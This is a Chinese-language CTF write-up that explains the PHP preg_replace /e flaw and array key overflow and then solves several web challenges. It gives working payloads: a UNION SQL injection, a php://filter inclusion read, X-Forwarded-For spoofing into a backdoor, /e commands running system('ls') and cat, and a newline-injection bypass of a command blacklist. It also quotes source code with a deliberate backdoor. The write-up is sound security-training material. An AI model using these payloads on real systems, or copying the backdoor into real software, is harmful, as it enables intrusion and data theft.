目录
preg_replace()函数的/e漏洞
首先简单介绍一下preg_replace()函数
preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
接着关于/e漏洞
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,
否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码
php5.5.9一下的PHP数组的key溢出问题
PHP数组的key溢出问题 | oohcode | $\bigodot\bigodot^H \rightarrow CODE$
PHP的hastTable是通过链表法实现的,按说是不会存在溢出的问题,但是其索引值表示的范围有限,当超出索引值时就会造成溢出,这个溢出只存在当索引值为数字时,输入的数字为正,输出却为负值的原因是函数参数与输出的类型不一致导致的。
ps,高版本php通过post传入过大的下标会自动转换为字符串而不是整形,而且越出的下标会直接变为0,而不是负数
PHP2
再本题我接触到了新的工具目录扫描工具--通过字典遍历各种可能的目录,看是否有返回
一次来大致确定有哪些目录
经过扫描,发现还有index.phps
我们进入,并查看源码
发现本题需要我们输入admin,但不能直接输入,要求输入的经过url解码后是admin,
但是我们知道,在浏览器输入url时是会默认进行一次urldecode的,即如果我们输入%61(a的url编码格式,相当于%加上ascii码)在传进参数时会被自动解码为a,因此我们将%也进行编码,输入%2561dmin,传进去后称为%61dmin,符合条件
完美
NewsCenter
一道简单的sql注入,没有任何过滤
payload:hello' union select 1,2,(select fl4g from news.secret_table)#
------------------------------------------
ics-05
又掌握一种代码运行233
进入,查看源码
发现页面
进入
继续f12查看源码
发现get参数。进入,
发现下方也出现了index,猜测可能page是管理换页的参数,并且大概率存才include文件包含,随便试试index.php,发现回显改变了,文件包含八九不离十了,尝试php伪协议读取网页源码。
?page=php://filter/read=convert.base64-encode/resource=index.php
成功。。。
解码,
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
在文件末尾发现后门,如果访问ip是127.0.0.1,即可进入。
我们伪造一下
成功进入管理员模式
这里我们需要用到preg_replace()函数的/e漏洞(详情看文章上方知识点)
先来看看当前目录吧
?pat=/tt/e&rep=system('ls')&sub=tt
发现一个奇怪的目录 s3chahahaDir
进入看看
?pat=/tt/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=tt
ps(这里的%20是空格的url编码,%26是&,不能直接使用&,因为&会被当成get的分隔符)
发现flag文件夹,进入
?pat=/tt/e&rep=system("cd%20s3chahahaDir%26%26%20cd%20flag%26%26%20ls")&sub=tt
找到flag了,文件路径为./s3chahahaDir/flag/flag.php
直接cat
?pat=/tt/e&rep=system("cat ./s3chahahaDir/flag/flag.php")&sub=tt
拿到flag
favorite_number
进入,发现源码
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
审计之后发现有三层绕过
- 首先是个判断,既要数组强等于,又要首元素不等
- 然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
- 最后是个黑名单,把常用的都排除了
第一层需要让你输入的stuff强等于array并且要stuff[0]不等于‘admin’
这里就要用到PHP数组的key溢出问题(只能在php5.5.9一下版本使用,在高版本溢出的下标会直接变为0,而不会变为负数)
构造payload
stuff[4294967296]=admin&stuff[1]=user&num=123
第二步
然后是数字检测
查了查
跨行检测可以绕过
用换行符%0a
payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
这里用hackbar失败了
就不是很明白
只能用burpsuite抓包了
成功绕过
最后是命令执行
查了查
显示有如下的办法
我们可以用tac
文件则有两个比较好用的方法
用inode
索引节点
先寻找flag的inode
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
发现flag的节点
构造paylaod读取
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 16525728`
最后拿到flag